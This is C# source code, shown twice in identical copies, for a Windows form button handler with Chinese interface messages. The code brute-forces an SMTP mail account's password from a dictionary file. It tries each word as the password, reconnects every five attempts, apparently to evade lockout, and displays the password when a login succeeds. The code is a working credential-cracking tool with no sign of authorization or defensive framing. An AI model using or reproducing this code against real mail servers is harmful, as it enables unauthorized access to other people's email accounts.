private void btnRun_Click(object sender, EventArgs e) { if ("".Equals(txtSmtp.Text.Trim())) { MessageBox.Show("服务地址不能为空!"); } else if ("".Equals(txtMail.Text.Trim())) { MessageBox.Show("用户名不能为空!"); } else if (!File.Exists(txtDict.Text)) { MessageBox.Show("字典文件不存在!"); } else { bool blnFlag = false; string[] strPwd; FileStream fs = null; StreamReader sr = null; MyMail mail = new MyMail(txtSmtp.Text); int i = 0; if (mail.Connect()) { fs = new FileStream(txtDict.Text, FileMode.Open, FileAccess.Read, FileShare.Read); sr = new StreamReader(fs); while (!sr.EndOfStream) { i++; if (i > 5) { i = 0; mail.DisConnect(); mail.Connect(); } string strPass = sr.ReadLine(); if (mail.ValidateLogin(txtMail.Text, strPass) == 0) { blnFlag = true; MessageBox.Show(string.Format("正确密码是:{0}", strPass)); break; } } } else { MessageBox.Show("连接服务器失败!"); } mail.DisConnect(); mail = null; if (!blnFlag) { MessageBox.Show("未找到密码!"); } sr.Close(); sr.Dispose(); fs.Close(); fs.Dispose(); GC.Collect(); } }
private void btnRun_Click(object sender, EventArgs e) { if ("".Equals(txtSmtp.Text.Trim())) { MessageBox.Show("服务地址不能为空!"); } else if ("".Equals(txtMail.Text.Trim())) { MessageBox.Show("用户名不能为空!"); } else if (!File.Exists(txtDict.Text)) { MessageBox.Show("字典文件不存在!"); } else { bool blnFlag = false; string[] strPwd; FileStream fs = null; StreamReader sr = null; MyMail mail = new MyMail(txtSmtp.Text); int i = 0; if (mail.Connect()) { fs = new FileStream(txtDict.Text, FileMode.Open, FileAccess.Read, FileShare.Read); sr = new StreamReader(fs); while (!sr.EndOfStream) { i++; if (i > 5) { i = 0; mail.DisConnect(); mail.Connect(); } string strPass = sr.ReadLine(); if (mail.ValidateLogin(txtMail.Text, strPass) == 0) { blnFlag = true; MessageBox.Show(string.Format("正确密码是:{0}", strPass)); break; } } } else { MessageBox.Show("连接服务器失败!"); } mail.DisConnect(); mail = null; if (!blnFlag) { MessageBox.Show("未找到密码!"); } sr.Close(); sr.Dispose(); fs.Close(); fs.Dispose(); GC.Collect(); } }